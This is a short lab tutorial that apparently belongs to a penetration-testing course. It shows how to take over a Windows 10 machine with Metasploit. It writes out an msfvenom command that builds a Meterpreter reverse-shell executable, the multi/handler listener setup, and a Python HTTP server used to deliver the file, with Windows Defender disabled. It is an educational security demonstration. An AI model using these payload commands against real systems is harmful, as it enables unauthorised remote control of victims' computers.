Hacking Windows 10 with Metasploit

The main question here arises is why Windows 10 not 11.

So, the answer for this is. I have seen Windows 10 in production and in organization more than the latest Windows 11. Talking about the security in both of them, Both comes with the same Windows Defender as an Anti malware solution. The overall skeleton of both the Operating system is almost same.

While talking about any known exploits for Windows 10 that can be exploited remotely without any zero interaction like Eternal Blue, i didn't found any for this Demonstration. There are exploits like SMBGhost which was a Remote code execution vulnerability in SMB affecting Windows 10 version 1903 to 1909. I tried to replicate the vulnrable environment in my lab but was unable to do so because these exploits have particular requirements that is very time consuming, especially in case of Windows.

So, how can we exploit Windows 10 or 11 machines, if we don't have vulnerable systems around and no known exploits. The answer is - executable payloads.

In the previous sections, we talked about creating executable payloads using msfvenom. We did exploit a linux target with a meterpreter payload in that section. Lets perform the same for a Windows 10 machine.

```
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.29.82
LPORT=4444 -f exe -o reverse.exe
```

lets setup the multi handler for it.

```
msfconsole

use exploit/multi/handler

set payload windows/x64/meterpreter/reverse_tcp

set LHOST 192.168.29.82

set LPORT 4444

exploit
```

So here I we have created a staged meterpreter reverse shell payload. Which will, when executed on the target, give us a connection back to our multi-handler.

Now lets transfer the payload to the target, i am using Python HTTP server for that.

```
python3 -m http.server
```

So as soon as i clicked on my malicious executable payload, i got a session as a meterpreter shell.

Now the things to note here is that. For this particular demonstration, i have disabled Windows Defender and smart screen, because the objective of this demo was to show you how malicious payloads can take over a Windows system. Anti-virus and stealth is a whole another topic that we mostly cover in red team operations. As of now, we know how we can make executable payloads for Windows and take control over the whole system.
